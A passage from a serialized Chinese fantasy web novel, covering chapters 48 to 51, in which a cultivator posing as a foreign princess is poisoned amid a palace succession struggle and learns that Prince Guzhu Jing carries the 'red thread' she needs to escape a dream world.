“你当真以为本王就怎么空手而来呀?”讥讽一笑,他忍不住移几步,凑到孤竹京面前,拍了拍他的肩膀,四弟你呀,还是太单纯了。”
孤竹京静若磐石,眼皮未掀动,随意扫了一眼,“皇兄,你就只有这些手段吗?”
二皇子也不恼,
“你还不配见到本王的手段。”
说完,带着满堂待从,闲庭信步出了宫。
札云火急火燎挤到孤竹京面前,贴着耳畔低语:“主子,诏书内容出来了,是、是您!”
孤竹京闻言,眸子凝滞,
“但是,诏书就在方才被二皇子的人拿走了,圣上被人威逼,不得已重新拟了一份新诏书。”
孤竹京还没来得及高兴,心又沉寂下去:“何时发生的事?”
“就在方才,我本来打算第一时间赶来告知,二皇子的待从不让我进去,我见他们人多势众,敌不过便只能在外面等着。
孤竹京冷笑,原来这就是二皇兄的手段。
故意在此拖延时间,派了下手去取诏书再换一个新诏。好一个暗度陈仓。
札云知道诏书有多重要,继续说:“主子,我们已经派人去追拿走诏书的人了。”
“还追什么?肯定第一时间就被销毁了。”
“我亲眼所见,诏书落在柳元霜手上了,虽然不知道是怎么到她手中,但是属下猜测柳元霜应该不会这么快毁诏书。”
“……罢了,继续按旧计划就行。”孤竹京冷静下来,还是觉得柳元霜还得他亲自寻。问了清楚柳元霜下落,便孤身去了关押孤竹宇之处。
48.旖旎靡梦红尘井(十八)
孤竹宇被关押在宫内的暗牢,守卫森严,宫中也没有多少人知道这个暗牢的存在。
暗牢一般收押的是皇室中犯重罪的人,一般由圣上的亲信亲自看管,一来防止犯人再与一类别有用心的高官见面,二来可以紧盯犯人,保证审查时,重要的机密消息不会泄露出去。
如今圣上都自身难保,孤竹京无令擅闯也没有人敢阻拦。
沿着阴暗潮湿的牢道行走,札云紧随其后:“主子,柳元霜被我们的人控制住了,正如您所料,柳元霜要见到废太子。”
孤竹京眉头稍舒展,走到暗牢的休息室,几个小卒正围坐在一个桌上,哄闹不止。不知在做什么,颇为专注也没有发现孤竹京一等人悄然走过来。
看清楚后,孤竹京仍未开口,札云接到一个眼神,乍然大喊:“谁让你们在此玩摇骰的?”
话落,那几个小卒转头一瞥,吓的脸色发白,皆跪在地上不停的求饶。
待从在宫内玩摇骰是大罪,何况还是看守暗牢的小卒,札云指着队尾一直不坑声的主牢管:“你出来,”
主牢管闻令,压着眉头,捧着大腹,慢吞吞移了几步到面前。
“这些人你都是怎么管的?还敢在宫内玩摇骰?都给拉出去按罪发落!”
主牢管毫无异议,只得照做。
孤竹京人被带走后,札云才道:“他们有一部分人是二皇子的眼线,至于主牢管尚不清楚。”
“无妨,留他一个人知道便够了。”
——
孤竹宇在暗牢尽头,他带着人越走深处,那股阴冷之感愈加砭骨,寒气从脚底蔓延至后背。
“皇兄。”
孤竹京站立在外,打量着孤竹宇,乱发披散,血迹斑斑,看样子没少吃苦头。
他又唤了一声,唯一回答他的是牢道呜呜的寒风。
孤竹京无奈吩咐:“泼盆水吧,要冰的。”
札云应声要转身离开。牢内的人蓦地爬起来,喉中发出一声怒哄:“孤竹京!”
“札云。”
孤竹京让他不必接水,目光回落:“皇兄,我以为你已经死了呢。”
“孤竹京你来做什么?”
孤竹京凑前一步,语气缓和,“皇兄,我来陪你叙叙旧,”
“你我之前有什么可说。?”
“怎么没有?柳元霜你可记得吧?她对你可是用情至深,为了替你求情,还得罪了不少人。”
孤竹宇无甚耐心:“柳元霜若是当真用情至深,就不该这么做。”
面对孤竹宇满脸怒气和警惕,孤竹京不甚在意,自顾自说:“你知道吗,二皇兄马上要取代你的位置了。”
闻言,孤竹宇抓着门栏,
孤竹惇是太子?
不过冷静下来,并未相信,反倒是觉得孤竹京此番话,是有意要利用他。
“你又要诈我?”
“何来这一说?”孤竹京徐徐解释:“我在朝中一无重权,二无人脉,又怎么比得过二皇兄呢?你不该想想,坐收渔翁之利难道不是另有其人?”
这么一说,煞有介事。
孤竹宇沉吟半晌,到底说不出话。孤竹京说的确实是有理,如若他是老二,怎么可能会轻易放过这个机会。
孤竹京捕捉到他的动容之色,遂拿出一把钥匙,接着问:“想离开这里吗?你想让他捷足先登吗?”
孤竹宇捏紧了门栏,他知道自己不论如何都翻不了身,就算是出了这暗牢,又能如何,凝思良久,孤竹宇终是答应了,不过还提出一个要求:要保他一命。
孤竹京二话不说开了锁。
——
柳元霜如今就在柳府,他正打算立马出宫见人,札云急匆匆来报:“主牢管方才跑出去通风报信,对了,淳瑶公主身边的杨掌事忽然来,说是有要事一见。”
“孤竹宇先带出宫,”孤竹京说罢,回想杨掌事还没有主动寻来过,随后便问:“她人呢,带过来吧。”可越想越觉得不对,一种怪异的感觉油然而生,他蹙起眉忽然又改口:“罢了,我亲自去看看。”
杨掌事不知孤竹京在何处,只能在一直待在固定的接头处等待,接头处在一间废弃的厨房,杨掌事在屋里头坐立难安,一听外面有声响,忙不迭跑了出去,定眼一看,大喊:“四皇子,可算是见到了!”
一看这杨掌事顿时知道,事不对劲。还未等到孤竹京问起来,她急促的说:“公主她已失踪有两炷香的时间了,我拿不准主意才来寻您。”
孤竹京:“两炷香?她怎么失踪的?”
“有人给了她一封信,她看完了立马就出了皇后遗居,也不肯让我跟着,说是马上就会回来,不料至今未归。”
“谁给她的信?信呢?”孤竹京一连发问,杨掌事确哑口无言,支支吾吾:“我不大记得了,信是一个宫女给的,交了东西后,那宫女已经跑没影了,公主也没有给我看过信,她看完后脸色不大好看,却让我先回华棠殿,交代完,那信便一并带走了。”
杨掌事交代的事无巨细。
说罢,孤竹京却是无言,冷冷凝视,吓的杨掌事浑身发汗,僵着脸不敢再多说一句话。
札云再次跑过来:“主子,接到消息,二皇子要去柳府。”
思绪回笼,孤竹京无暇再多分心,
“先走吧。”
——
任舒映接过信的时候还觉得奇怪,还以为是哪个有过节的人写给她的,打开一看,她人傻了。
信中空白一片,但信中似乎染了一种香料,展开瞬间馥郁香气扑鼻而来,而后她之觉得精神恍惚,鬼使神差的跟着一个面生的宫女离开。
记忆中,当时应该是被人敲晕了。
待她清醒时,又是一片茫茫云海,烟雾流蔼。红日悬空,犹如巨大的镜盘,近在眼前,抬臂可触。
爬起来,只见云海下的圆状漩涡,似乎颇为异常,像是有人故意翻到了血,把血放在漩涡中搅的均匀有浓稠。
流荧泛起微弱的光芒,她身边乍地出现一个白发老者。
任舒映惊讶一声:“是你,我记得你,我们在梦里见过……”说着,她忽然想起来什么,“莫非,我如今又在梦中?”
白发老者点点头,
任舒映又把视线移至云海,“我记得这里好像不是这样的啊……”
老者不知为何看起来有些沉郁,背过身道:“这是红尘井要入夜了。”
他坐到一个石凳上,招呼一声:“你来看看这个吧。”
任舒映跟上去,顺着视线望去,
眼前蓦然出现一个画面,画面是中只有她一个人,倒在榻上,纹丝不动,应该是昏迷了。
“这是梦境外的你,你可知,你自己要死了?”
任舒映“啊”了一声,不解其意,
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还差点咬到自己舌头:“什么?我怎么、怎么就要死了?!”
“你被人下了无药可解的剧毒,恐怕是撑不过一旬。”
“所以……我会死在红尘井中吗?”
“会,在红尘井死去的人,都不可能再回到原来的世界,红线,唯有红线方可离开。”
任舒映忽然有些绝望,那位前辈神色严肃,不似在开玩笑,如若是她不尽快离开,葬身于此,那岂不是要辜负师尊,孔黎……
回想在修界,还身负冤名,一切真相还尚未水落石出,她不想就这么死了……
她无奈说:“红线,我还未寻到。”
“你当真不知吗?当断需断,红尘井中一切不过虚幻,愈加贪图,反受其身只会更多。”
任舒映想了想,还是要要辩驳一下,
“……我没有贪图什么啊。”
她不擅长说违心话,一旦说了便会莫名心虚。
但是不知为何,
她就是心虚了……
尽管辩驳的很无力,那位白发老者并没有同她争辩,而是意味深长说:“是喽,是喽,那小姑娘你定力挺不错呢。我见过大多数误入红尘井的人啊,都舍不得离开,唉…至今我亦不明白,此处的人不是真的人,遇到的事也不是真的,偏偏有人啊,就是心甘情愿待在这里。”
话题峰回路转,他摆摆头作罢:“此番,我耗费不少灵力才得以见你一面,要真的你时日不多了,抓紧时间吧!”
白发老者挥动衣袖,任舒映被一股强劲的风吹倒,连连倒退,重新跌落在翻江倒海的茫茫云海,她被一片漆黑笼罩。
待又过了许久,她缓缓掀起眼帘,睡眼惺忪,扶起身子,环顾四周,屋中陈设应有尽有,烛光冉冉。应该是无人在此。
窗口是敞开的,明月悬空,树影婆娑,蝉鸣不休,怪了,那老者不是说她时日不多了吗?怎么她一点感觉都没有啊?
在塌上动了动四肢,她决定起身去外面看看,谁知,方开门要出去,一个婢女忽然走到她前面,目不转睛凝视她。
任舒映被吓到了,急促的心跳声穿到耳边,她开口问:“这是哪里?”
婢女却答非所问:“公主,请你回去。”
语气不容拒绝,小小的身板像一堵推不开的墙,任舒映拧紧眉头,沉默的用眼神与她僵持,婢女又重复一遍:“回去。”
这是她在红尘井中第一次遇到敢这么对她说话的人,不过她不会动怒,一个婢女尚且如此,何况她还不清楚此处的主人是何身份。
权衡片刻,她面无表情倒退几步,默默回倒屋内。
方才一回去,外面顿时一阵嘈杂,似乎都是一些女子,欢声笑语的,她用耳朵贴近了墙壁,许是说话的人正往她这边靠近,声音渐渐清晰起来。
“来了新的姑娘?”
“喏,就是那间。”
虽然任舒映看不见外面是何人在说话,但是直觉在告诉她,新来的姑娘大差不差,就是在说她了。
紧接着,一个女子发话:“来了又如何,过不了几日啊就要死了……”
任舒映还想继续听下去,外面的女子惊呼一声,口中带着慌乱,脚步匆匆离开这里。
门口拦着别让她离开的婢女也在此时说话了,
“二皇子,她醒了。”
屋外男人一听,向门口走了几步:“进去看看吧。”
49.旖旎靡梦红尘井(十九)
门口闷声渐近,任舒映听罢,顾不得多思,跑回寝间,
孤竹惇迈入屋子,环顾四周,促狭着眸微烁,启口问:“公主既然醒来了,何必装睡?”
任舒映躺在榻上默默思索,半晌她坐起来理了衣摆,“你给我下了什么毒?”
孤竹惇略微意外,挑眉赞叹:“果然是孤竹京看上的人,还真有点能耐,竟知道自己中毒了。”他走到面前,“说说,你是如何知道的?”
但任舒映不想作答,也不知为何话下问出口:‘‘解药有吗?’’
孤竹惇也不知道脑补了什么,扬眉一笑:‘‘你即知道也是正常,毕竟这可是你们巽国的毒,解药嘛,’’稍微一顿,他道:‘‘没有呢。’’
任舒映只觉得莫名怪异,巽国嘛……
巽国的毒这二皇子又是如何得到?反正她也不打算解毒了,闻言她淡淡‘‘哦’’一声。
‘‘好吧,让我猜猜二皇子将我抓到这里应该是为了对付孤竹京的吧?’’
他大大方方承认:‘‘你倒是聪明,’’
任舒映暗暗摇头,孤竹京还真是惨啊,一连被两个兄长敌视,若是这种事放在修界,那不得一并逐出师门,凡界尔虞我诈,争权夺位的手段可是层出不穷,她也不想掺和,不过现如今也没有抽身的法子。
她一副洗耳恭听的表情道:‘‘不如这样,说说看,你要怎么对付他?我好配合配合。’’
孤竹惇诧异凝视,莫不是他出现幻觉。
传闻这和亲公主不是与那孤竹京关系匪浅,来往密切吗?
任舒映却紧接着补了一句:‘‘你想想,我都已经被你骗过来了,孤竹京啊他就是一个生性多疑的人,我就算是被你放回去,他又怎么肯再相信我。’’
乍一听好像有点道理,孤竹惇沉吟半晌,却是满不在意:‘‘本王要处理这个野种还需要靠一个女人?’’
任舒映听罢来了兴致:‘‘啊?什么?野种?’’
‘‘也就你们这些外邦人被蒙在鼓里吧,孤竹京就连身世都来历不明,他就算当上太子,也没有人会承认他。而你?不过是留一个后手,你且看看孤竹京是如何众叛亲离的吧。’’
但是任舒映很想反驳还要下毒抓她,,但是这话可不合时宜,可才忍了一会,方才拦下她出门的婢女忽然跑进来:''''二殿下,四皇子去柳府了。''''
孤竹惇颇为开心,咧开嘴对任舒映道:‘‘公主,随本王去一趟柳府吧,我这个傻皇弟啊要上钩了。’’
任舒映随孤竹惇出去已快入夜,骤风忽起,街道的行人纷纷都忙碌的收拾摊子。
她放下车帘,无声喟叹,这就叫山雨欲来风满楼吗?
——
柳府。
‘‘公主,你就留在此处吧,这个时候你不需要出场。’’孤竹淳说罢,身边一个婢女移步至她面前,‘‘公主,请。’’
任舒映跟上去,还在想她要被带到何处,不过几步一拐,她进了旁边的隔间,而旁边一阵杂乱的脚步声音传来,孤竹淳的声音率先启口:‘‘四弟素日难见你一面,没想今会在此碰面。’’
两人似乎忘记了皇城内的插曲,正有一言有一语着搭话。
孤竹京晚来一步,柳家小姐已经被人带走,但两人总得有一个人开口直入正题。
‘‘皇兄,今日尚有要务在身,不知可否告知令妻把柳姑娘带到何处?’’
‘‘要务?’’孤竹淳轻笑,‘‘既然皇弟着急见人,本王本该自当配合,不过她们去了昭秋宴,现在估摸着还在辞楼 。若是没有宴请帖,就
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算是本王也不好贸然前去。’’
昭秋宴,逢秋之期举办一日,自孤竹国立国以来,便是如此。
拥有宴请贴的皆是名门贵女,且从未邀请过男子。这也是昭秋宴的的铁规矩,即使是圣上也不可肆意妄为。
‘‘这规矩是不好打破,本王亦是在这里等内子,不如四弟一同在这里等等?’’
话落,孤竹京眉头凝重,沉默了良久。
任舒映听的一清二楚,也在思考。
看来孤竹京是有要事找柳元霜,但是被二皇子截胡了。就在氛围僵持之时,任舒映端起一只冒着热气的茶盏,手下不稳,故意打翻在地面。
瓷器摔在木板,发出清脆的碎声,孤竹京二人齐侧首一愣,皆若有所思盯着那个被木门所格挡之处。
任舒映身边的女婢吓的脸色大变,不过倒是反应极快,手提起一个茶壶,匆忙立马跑出来请罪:‘‘奴婢的错,方才烧水不小心打翻了茶壶,请二位皇子责罚。’’
婢女一走,任舒映便要起身。
隔间只剩下她一人,此时不走更待何时?
任舒映脚步声音却瞒不住在外的任何人,孤竹京明知故问:‘‘里面还有人吗?’’
女婢跑回一看,除了被打开的窗口,已无人在内,顿时心慌不已。
‘‘二皇子,有只猫她跳窗跑了!’’她伏在地面,将头压得极低,说话颤颤巍巍。
可这怎么听着都不想是一只猫呢?目光落在孤竹淳脸庞,他不紧不慢接了话:‘‘既然是只猫就不要如此大惊小怪,做事仔细些。’’
呵斥完,摆了摆手,女婢应声退下。
任舒映一个翻身,就往侧道逃。走了没几步,后背冷不防被人拍了肩膀。
‘‘公主,随我来。’’
50.旖旎靡梦红尘井(二十)
札云是孤竹京身边的待从,时常出现,任舒映有点印象。故她几乎没有思考,跟着他往另外一个长廊去。
也不知道跑了多久,札云停下步子来:“公主,从这里出去往右拐弯,有一家当铺,你将此物给当铺掌柜,他会帮助你脱身。”
边说,他从袋中拿出一个雕花云纹白玉佩,
任舒映接过却拉住札云:“孤竹京找柳元霜做什么?”
札云知道自家主子对这位和亲公主有多信任,也是实话实说:“圣上写的一封特别重要的诏书在柳府小姐手上,我们必须得取回来。”
“带我去昭秋宴,我帮他去要诏书。”
孤竹京如今一直被二皇子耗着也不是办法,万一二皇子暗中已安排好了,诏书岂不落入他人之手。
札云犹豫:“这……”
不是他不肯答应,而是自作主张将,若是公主送入的是龙潭虎穴,他可当担不了这个责任啊。
“怎么,你不想帮你主子拿到那份诏书?”任舒映催促,“昭秋宴我略有耳闻,非女子不可入内,如今可以比二皇子快人一步的唯有我了,札云带路啊!”
——
片刻,一辆挂着流苏玉坠的精致马车在街道扬长而去,悬挂一只金铃铛因为马车疾驰,叮铃作响 ,吸引的路人纷纷侧目。
“那个马车好好看啊!娘,我也想坐。”一个稚童拉了拉身边母亲的衣摆,伸手指向渐渐远去的马车。
母亲顺着孩子所指,垂眸道摸着孩子头顶:“这是平遥郡主的马车,咱们这辈子都不可能坐上的。”
……
马车内。
平遥郡主拉着任舒映,一边打量,一边隐隐含笑:“你就是京儿的朋友?和亲公主?”
原以为札云会亲自带她赶往昭秋宴,不想承了这位郡主的恩,这才得以在一路上畅通无阻。
平遥郡主与孤竹京生母乃是闺中手帕交,姐妹情深,亦会时常照料故友之子,许是郡主年纪大,后无子嗣,对孤竹京的事情也是颇为上心。
任舒映顶着这视线极度不适,硬着头皮解释:“啊……我是,我替孤竹京寻一个人,因为他不好在此出面……”
“我知,我知。”平遥打断话,“要寻何人?我帮你叫过来罢。”
“柳府小姐,柳元霜。”
“哦……倒是小事,”平遥郡主忽然换了话头,神色凝重看着她:”欸,看你脸色如此苍白,是身子可有何不适吗?”
任舒映确实略有一些怪异之感,不知怎么忽然使不上力气,摸了把手心沁出的汗,不动声色回:“……我许久未进食,应该是饿了。”
“饿了?”
平遥还是觉得不对劲,但也不好再多问,只得说,“无妨,我们先去吃点东西垫垫肚子吧。”
递交了帖子,两人领着几个待女到了一处院落,
柳元霜终于出现,平遥特意寻了个借口,给她们留了私下见面的机会。
“公主来找我是为了诏书吧?”柳元霜落了坐,先开口说话。
柳元霜怎么清楚她的动向,铁定有人通风报信了。
任舒映:“诏书给我,你想要什么?”
“公主真是聪明,我也不拐弯抹角,只要你把太子哥哥给我,诏书定双手奉上。”
她哪知道太子的下落?未免太高看自己,正要说话,柳元霜一句话让她咽下话头:“你是没有这个能力,但是孤竹京可以,你什么时候把人交出来,我答才把诏书给你。”
话落,柳元霜起身要离开。
但是任舒映可没有时间给她找太子,
“站住,我说让你走了吗?”
软的不行那就只能来硬的了,
“啊!你要做什么!”柳元霜乍然尖叫。
任舒映不轻不重捏着她的肩膀,狠厉的目光落在的颈肩上,
“换个条件,你要么乖乖交出诏书,要么卸了你这项上人头!”
柳元霜被手劲和口吻吓的不轻,身体微微颤抖,慌神警告:“你、你要是杀了我,这辈子都不可能见到诏书。”
“没关系,诏书不要也罢,咱们清算一下旧事也可以,扶鸾你可还记得?”
柳元霜还未回过神,听到名字连连摆头:“不是我杀的!不是我杀的!”
任舒映打量起她惊愕的眸子,若有所思:“我又没有说是你杀的,你莫不是做贼心虚这么大反干什么?告诉我,扶鸾出事情那日,为什么我身边的杨掌事会与你身边的待女见面?”
“是、是你姑姑!你姑姑一直想要要杀你,怕露馅,便做了一个障眼法,杨掌事见的主子不是我!”
任舒映眼底溢出寒凉的杀意,怒火隐发:“难道你不是同谋吗?柳元霜,我与你无冤无仇,就算你有诏书,我也要你偿命!”
说罢,任舒映手心多了一把银匕首,迅疾如雷间,刺向她的心口。
柳元霜瞳孔骤缩,大声尖叫出来,
这是来真的啊!
手起刀落,任舒映垂眸一看,心口下两寸,一团血渍洇染开来,
“还没死?命真够硬,再补两刀。”
柳元霜以为任舒映破罐子破摔,眼中只有她的命,什么诏书都不要了。便破了心防:“别杀我!诏、诏书在我房中的暗格,我带你去取!”
闻言,任舒映要拉她起来止血,门外一阵嘈杂的声音响起,几个壮汉破门而入。
任舒映记得这几个人的相貌,正是孤竹淳的人。
她便暂时顾不得柳元霜,起身去对付这几个汉子。
他们看着壮实,身体肥彪,但却是不是练家子,空有个花架子,不通武艺,只会手忙脚乱抓人。
看准了他们都是下盘不稳,灵活躲了几次,顺手一个接一个清理起来也是不费余力。
那几人见状才发现端倪,公主看着弱不禁风,居然还会武,头伙发话:“快撤!若是官兵来了,咱们吃不了兜着走!”
此处不允许男子进入,又是二皇子的人,得留下来让孤竹淳作解释才好。
任舒映追上去,手下力道加重,打晕了几个。
大门官兵纷纷涌进来,孤竹京跟在他们后面,一眼扫视,立马看见任舒映。
迎面而来,任舒映缓和一下说了方才的情况,咋呼一声:“对了,柳元霜还在上面,你先去抓她!”
孤竹京看着她,也不知在想什么,全程一言不发,不过听到柳元霜名字,还是先去抓人。
任舒映挑了一个坐椅,忽然蹙眉捂着嘴巴咳嗽。
这毒好生霸道!
一发作起来,绞的心痛!居然还会咳血。
良久,孤竹京同平遥一起过来。
平遥一看她这个脸色,立马就对待女发话:“去喊医师过来啊!”
任舒映已经擦干净了血迹,只是脸中一看便是病态之容。
她先对平遥道了声无事,目光移至孤竹京:“……柳元霜呢?”
“她跑了。”
“……可惜了,不过东西下落至少还清楚,先去柳府吧。”
心头一阵难忍的悸动,她脸色苍白了几分。孤竹京观察半晌,凝着眉问:“怎么,哪里受伤了……”
她自知时日不多,便不想让孤竹京注意到,轻悠悠答:“我没事啊,可能是太饿了吧。”
“和杨掌事交代一声,回去便吃。”
“去哪?”
孤竹京不该去柳府吗?
“我那。”
孤竹京说罢,不多做解释,任舒映只好闭上嘴。
——
回去路上,他忍不住暗暗打量,脸色确实是不大好,靠着车壁闭目养神,中毒……
回想起孤竹惇的话不断浮现脑海,
“任舒映的命和柳元霜手中的东西,你总得选择一个。”
他寻了一个医师,私下交代:“若是公主有什么病状,不必告诉她,多思郁积,直接和我说说便可。”
医师不疑有他,点点头作答:“会注意的。”
说完匆匆忙忙去了任舒映房内。
出来后,医师百思不得其解:“姑娘那病状怪异,赎这下医术不精,见识短浅,实在看不出什么原因。”
……
医师刚离开,下一脚,札云便从柳府赶回来,
“主子这是诏书,我们拦下二皇子后,他没有得手,却把柳小姐劫走了。”
诏书札云不敢私自打开,用匣子密封在内,孤竹京垂眸看了看,当众开封。
札云也静静的打量。
孤竹京瞥了一眼,随意甩给札云:“烧了吧。”
“什、什么?”札云差点咬到自己的舌头。
“这个诏书是假的。”
札云自己仔仔细细看了一遍,却没发现什么异样。不过还是得听主子的,二皇子向来老谋
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深算,亦非是个善茬,
若把假诏书宣扬出去,
立马就得被扣上一顶大帽子。
思忖一番,札云再问:“那柳姑娘还要抓回来吗?”
“她都投靠孤竹淳了,诏书已不重要了。”
孤竹京说这话,心里却有些恍然,或许是在怀疑自己选择。
……他转身去寻任舒映。
任舒映见他一副心不在焉的神色,好奇询问:“孤竹京,你怎么来了?”
“……不希望吗?”
“没有,但是有要事,还是不要耽误的好。”
“没事。”孤竹京看着很闲,撩起袍子坐在她身边,”在柳府,隔间暗藏的人是你吧。”
任舒映狡黠一笑:“怎么样,还得是我心生一计,才逃出去了。”
孤竹京未答。
也不知道她是真傻假傻,他可以看得出来的,孤竹淳何尝看不出来?
不过是故意把你放出来了。
氛围沉默许久,任舒映说了一句:“我有点困了。”
孤竹京迟缓片刻:“你睡吧,我先走了。”
她真不知道该如何面对孤竹京了,红线一事就搅的她心头一团乱……孔黎曾说,离开红尘井,最简单快速的方法便是找到红线者,弑之。
若是要如此,她却办不到。
难道要对他说一句?
我要离开这里,但是要你的命。
一个正常人怎么会答应这种荒谬的要求?
愁郁一夜,她昏昏沉沉醒了。
屋子唯有她一人,想要起身时,但身体犹如被定身,四肢动弹不得。
“……有人吗?有人吗?”
喊了半天,屋外也无人作应。不过声音太小,兴许是没有听见。
杨掌事凑巧赶上府中,一路往公主居所方向移步。
她自认为自己也是公主较为信任的人,便直接绕过屋外的待卫,开门看看。
渐渐走到公主身边,杨掌事吓的扑倒在床沿,试图把公主晃醒。
“公主!公主!”随后冲外头大喊一声:“请四皇子来一趟!快!”
任舒映早就醒了,只是动不了,眯眼目光落在眼前,轻轻开口说话:“我还没有死呢?怎么一惊一乍的?”
杨掌事叨叨:“作孽啊……真的是作孽啊!好好的一个姑娘,怎么会、满头白发啊。”
任舒映一怔:“白发?杨掌事去取镜子。”
杨掌事听到声,赶忙去取,揽镜自照,脸也还是那张美脸,昨天满头乌黑的青丝已成白发。
这……难道也是那毒的副作用?
杨掌事见公主对着镜子愣神,便哭的涕泗横流。
“……杨掌事,我感觉我要被你哭死了。”
“公主……呜呜。”
对她而言,这不是真正的死,只要夺得红线便可一走了之,但对于红尘井的幻人而言,却是真正的生离死别,万般如此亦无可奈何。
孤竹京很快前来,见状亦是惊愕哑言。
现如今孤竹淳的话,不信也得信。
“公主,你……什么时候这般的?”
“今天吧,我动不了了……这是怎么回事?”
干脆自己装什么都不知道好了。
孤竹京问完,行色匆匆离开,再回来时,领着一个便服医师。
上前查看病情,神情愈加凝重,开口道:“四肢寒固,白发花颜,此乃巽国霜噬花的毒,处中毒时便无别症状,难以察觉,只要短短三日毒现,便是大罗金仙也无力回天,命不久矣。”
话落,屋内异常的死寂,任舒映欲言又止。
孤竹京问:“可有法子拖一拖。”
“有是有,那便是加毒,以毒攻毒……不过公主会更加痛苦。”
任舒映觑眼,唯唯诺诺说:“要不算了吧……”
孤竹京冷硬道:“加毒。”
医师奉命行事,见此也只听孤竹京的,便轻叹作应。待屋里的人都走光,孤竹迈步上前:“算了着时间,中毒之日是你失踪那天……是他吗?”
任舒映知道孤竹京在指二皇子,也不隐瞒了:“是他。”
“那我去找他要解药。”
“孤竹京,你别走!”任舒映费劲的喊。
她喊了有气无力,有种马上就要归西的错觉。
“解不了了,你替我报仇吧。”
51.第 51 章
“报仇?”
“你就这么一心想求死?”
任舒映停顿须臾,侧头避开视线:“此毒无计可解……没有必要在此事上多花心思。”
孤竹京忽然笑起来,
她对自己的命就可以做到怎么无所谓?
忽而,脑海浮现他母亲重病卧床时,对他也是这般,
“京儿,娘日后离开你了,也不要忘记替我报仇,一定要让他们吃到百倍的报应……”
那时,他年仅七岁,母亲捏着他手很紧,让他疼的至今未忘记。
现如今,他攥着拳,犹如当年,慌乱、无奈的心绪糅杂,让他哑口无言,
他笑了片刻,正色道:“别急着去死,本王许诺,全城皆亡,你也不会死。”
任舒映:“……”
他这是什么意思?
该不会要为了给她寻解药,要使什么滥杀无辜的暴力手段吧?
红尘井的孤竹京还有阴魂的影响,这么想也不是不可能,身为一位正派修士,即使这个世界将来与她事不关己,但觉得自己还是有必要言语教化一番:“事无人定,苍生无罪,孤竹京你——”
“好一个苍生无罪,公主你是什么普度众生的神佛吗?你待他们好,他们就会如善对你?”他打断了话。
“孤竹京,我只希望你可以分清是非,滥杀无辜对你日后没有好处。”
两人不欢而散,这是第一次。
许是因为不合的三观,她在渺梦山修行,心系苍生,为的是杀魔除恶。孤竹京呢,单有阴魂的影响,自然没有这样的想法,也不会有。
——
虽然有吵架,孤竹京却每天都来陪她,让她喝了不知是什么药方制成的解药。
他总一副事不关己,气定神闲的样子,
好像已经放下了皇城里的旧事,现在就是一个闲散王爷,混吃混喝。
任舒映许久没有踏出门外,疗养几日,杨掌事一脸洋溢着喜上梢头的笑容来寻她。
她如今可以动动身躯,闻言,便坐起来,听杨掌事细细道来:“老天有眼,二皇子昨夜暴毙了!”
怎么会如此突然?
任舒映第一个想到的就是孤竹京,怀疑这暴毙并非单纯意外。
不过,她未开口说话。
孤竹京昨夜还在门外,若是派人暗杀二皇子,也不是易事,她应该也会有所察觉才对……
二皇子借着一份圣上亲笔所拟的诏书,成为孤竹国的皇城掌权者,朝堂臣子大部分皆没有异议,此事好像已是一锤定音。
任舒映终于开口了:“孤竹京呢?他近日有做什么吗?”
这是她第一次问起孤竹京的状况。
杨掌事笑意更甚。
“四皇子四处寻医,也有了些眉目,悄悄告诉您,四皇子过不了多久,就要搬离府邸。”
“搬……去哪?”
“这个奴婢不知,但他总归为了你。”
——
当夜,孤竹京没有出现。
据说是不在府内,一日未归。
她便没有多问,
夜半三更,
院外忽地吵吵嚷嚷。
房门被强行踢开,她才终于清醒。
“淳瑶,外面起火了。”
是孤竹京的声音。
她睁开眼睛,平静地凝视着他不语。
“我先带你走。”孤竹京说罢,给她披上袍子,随后抱起人出去。
没有走大门,而是往后院的偏门走。
马车停留在旁,两人上了马车,马夫才走。
任舒映问:“去何处?”
“禄山,临城外,不远,可以安心在那里解毒。”
他还是执着解毒一事,任舒映攥着自己披露的白发,低眉不语。
——
安顿下来,孤竹京变的反常起来,脸色忽然不对劲,她尚未仔细看清,便乍然离开。
但有所察觉到,似乎是阴魂气息。
自从血灯养料耗尽,阴魂一直寄于他体内,若是长久没有养料,阴魂迟早要出去寻养料。
她站起来缓解一下腿软,迈着步子跟着他背影。外面是一片白花花的芦苇丛,高度好在能及腰,有是夜深,她只要蹲起来便难以发现。
孤竹京拿出浅光的血灯,在十几步外背对着她。
阴魂立马出来,附在灯蕊。
它对孤竹京道:“我要那个女人的血,若是没有,多少毒物养料都没有用。”
孤竹京却催促:“废话少说,你的本体还被我困于同体,要么乖乖听话,要么我们一起死。”
孤竹京显然是在留着阴魂,
这么看……大概是孤竹京和阴魂应该是做了什么交易。
阴魂笑的猖狂:“不过我助你多次,身体过不了多久也总该归我,到时候再把那个女人变成我的养料炉子哈哈哈……”
“哈哈……”孤竹京跟着笑。
他冷冷的笑着,莫名的渗人。
阴魂顿了一息,轻蔑道:“你不会以为我们阴魂就这么容易任一个凡人摆布吧?待我修养一段时日,谁都奈何不了我。”
任舒映可以听见阴魂的声音,转眸目不转睛看着孤竹京。
阴魂:“若是夺舍这具身体,你又奈我何?哈哈哈哈哈……”
阴魂笑声猝然停顿,“那个女人来了?”
她可以发现阴魂气息,自然阴魂亦可以,孤竹京这才警惕环顾四周。
月华倾泻,满地芦苇迎风摇曳,不远处一棵孤树下,一道女子的身影渐渐清晰,
任舒映自知没有必要再躲,索性露面一见。
孤竹京见状,也没有多大反应,似是意料之中,将阴魂收回,轻声喟叹,继而对她说:“谈谈吧。”
任舒映好奇地跟着他一路往山道上走,直至
“你多次睡着时,梦中常常听见呓语着,要红线,要走,要离开这里……”眸子定在她身上,紧接着说,“你所要的红线是这个吗?”
他将长袖掀起,手腕露出,伸到面前,今夜月明如昼,腕上可以看见有一道蜿蜒极长的疤痕。
“这不是疤,这是一根红线,自我幼时,生母亲手用刀划开一道口子,把红线埋在我的血肉多年。她说,这是她从鸿金寺求得。”
任舒映诧异地倒吸一口凉气:“……这是一根线,为何要如此?”
“我想了多年才明白,那时她病症发作,意识不清,便将红线误以为是药材,非要这样做,才哄着她肯吃药。”
“吃药?”
“她疯疯癫癫说:我们一起吃药,你不上这鸿金寺的药,我也不吃药。”
“后来红线已深埋肉中,取不出来了,便没有再理过。”
任舒映没想到红线竟会是如此出现。
孤竹京的话突然变的很多,他继续道:“我本来打算陪你在此,直至油尽灯枯最后一刻,但发现你自始至终,心都从未留在孤竹国。这里没有值得你留恋的,一切是因为你没有……红线,受限于此对吗?”
他的如此坦诚,任舒映倒是不适应了。
自己也有难处,确实是该说清楚一点,也好走时无负担。
“如果说,我离开这里,病情即可痊愈呢?我也实话实说。我并不是巽国公主,我只有一个任务,驱除阴魂,回到属于我的地方。”
